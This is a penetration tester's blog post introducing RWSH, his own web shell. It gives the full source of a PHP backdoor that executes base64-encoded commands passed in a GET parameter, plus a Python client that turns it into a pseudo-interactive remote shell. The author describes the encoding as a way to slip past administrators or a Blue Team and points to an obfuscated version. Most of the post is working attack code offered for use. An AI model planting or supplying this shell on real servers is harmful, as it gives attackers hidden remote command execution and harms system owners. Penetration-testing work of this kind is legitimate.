Introducing RWSH – Ray’s Web SHell

RWSH (pronounced "rush" - credit to my friend Grev for the name), or Ray's Web SHell, is a basic PHP web shell with a Python based "client" that provides a bit more interactivity as well as encoding.

RWSH - Introduction

During many of my engagements or exploits, I noticed that I was using a lot of PHP passthru web shells. These web shells typically lacked flair, were difficult to interact with, and were easily detectable. While these were useful to me at the time, I quickly realized that they could be improved with a few small tweaks. I wanted a web based shell that was a bit smaller, simpler, and less likely to have a backdoor than a c99 shell.

With these ideas in mind, plus the desire to add to my tool and skill sets, I set out to build a new web shell. (The GitHub link is at bottom of this post).

Some of the key features I have built into RWSH are:

  • Encoded communication
  • Pseudo-interactive shell
  • Cleaner output formatting than PHP passthru
  • Hostname and username (whoami) detection
  • (Mostly) Clean exiting
  • Obfuscated server (this is possible with most/all web shells, I just include one with it)

Web Shell

The actual web shell side of RWSH is just a PHP exec, only accepting and returning base64 encoded strings. While this obviously won't get past anyone who's actively looking for malicious traffic, it should provide at least a little more time against a lazy administrator or Blue Team. The result array inserts EOL characters into the final encoded string, so that it displays a bit more cleanly for the "client" as opposed to one long line of results.

<?php
	$result = array();
	$output = "";
	exec(base64_decode($_GET['cmd']), $result, $return);
	if (count($result) > 1) {
		foreach($result as $line) {
			$output = $output . $line . PHP_EOL;
		}
		$output = base64_encode($output);
		echo $output;
	}
	else
	{
		echo base64_encode($result[0]);
	}
?>

Client Application

On the client side of things, RWSH does its best to try to simulate an interactive shell. Upon initial connection, the client will get the username (via whoami) and the hostname (via hostname), and then create a fake BASH-ish prompt from this information. Note that this will fail on any OS that doesn't support these commands, at least for the time being.

After the initialization is complete, the client enters an infinite loop that accepts user input from this prompt, base64 encodes it, sends the request to the server, and displays the base64 decoded results.

#!/usr/bin/python
 
import random
import requests
import string
import base64

def main():
    session = requests.Session()
    session.trust_env = False
     
    ip = "127.0.0.1"
    port = "8081"
    filename = "shell.php"
    
    print filename
    param = "cmd"
    
    url = "http://" + ip + ":" + port + "/" + filename
    
    print "\n[*] Connecting to web shell:"
    print "    " + url
    
    print "\n[*] Obtaining username."
    
    r = session.get(url, params={param: base64.b64encode("whoami")})
    username = base64.b64decode(r.text)
    
    if "\\" in username:
        username = username.split("\\",1)[1]
        
    print "\n[*] Obtaining hostname."
    
    r = session.get(url, params={param: base64.b64encode("hostname")})
    hostname = base64.b64decode(r.text)
    
    print "\n[+] Returning prompt!\n\n"
    
    try:
        while True:
            cmd = raw_input(username + "@" + hostname + ":~$ ")
            if cmd == "exit":
                print "\n\n[-] EXITING\n"
                return
            else:
                encoded = base64.b64encode(cmd)
                r = session.get(url, params={param: encoded})
                print base64.b64decode(r.text) + "\n"
    except KeyboardInterrupt:
        print "\n\n\n[-] EXITING\n"
        return
    
if __name__ == "__main__":
    main()

Execution wise, the client does a good job of providing a more shell-like environment.

RWSH - Execution

If Python is not available, or if you don't feel like using the client, then the RWSH "server" can still be accessed via a browser. You will need to encode the requests and decode the responses manually, but that is the only added overhead required"

RWSH - Browser

RWSH - Conclusion

Apart from the client and the server, I have also included an example of the web shell in an encoded format. While this method isn't specific to this shell, it does offer a slightly harder to detect version along with instructions on encoding/decoding it for yourself.

The code and updates are located in my GitHub repository. This is also where I keep an up-to-date TODO list for the project (or merge your pull requests?!).

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.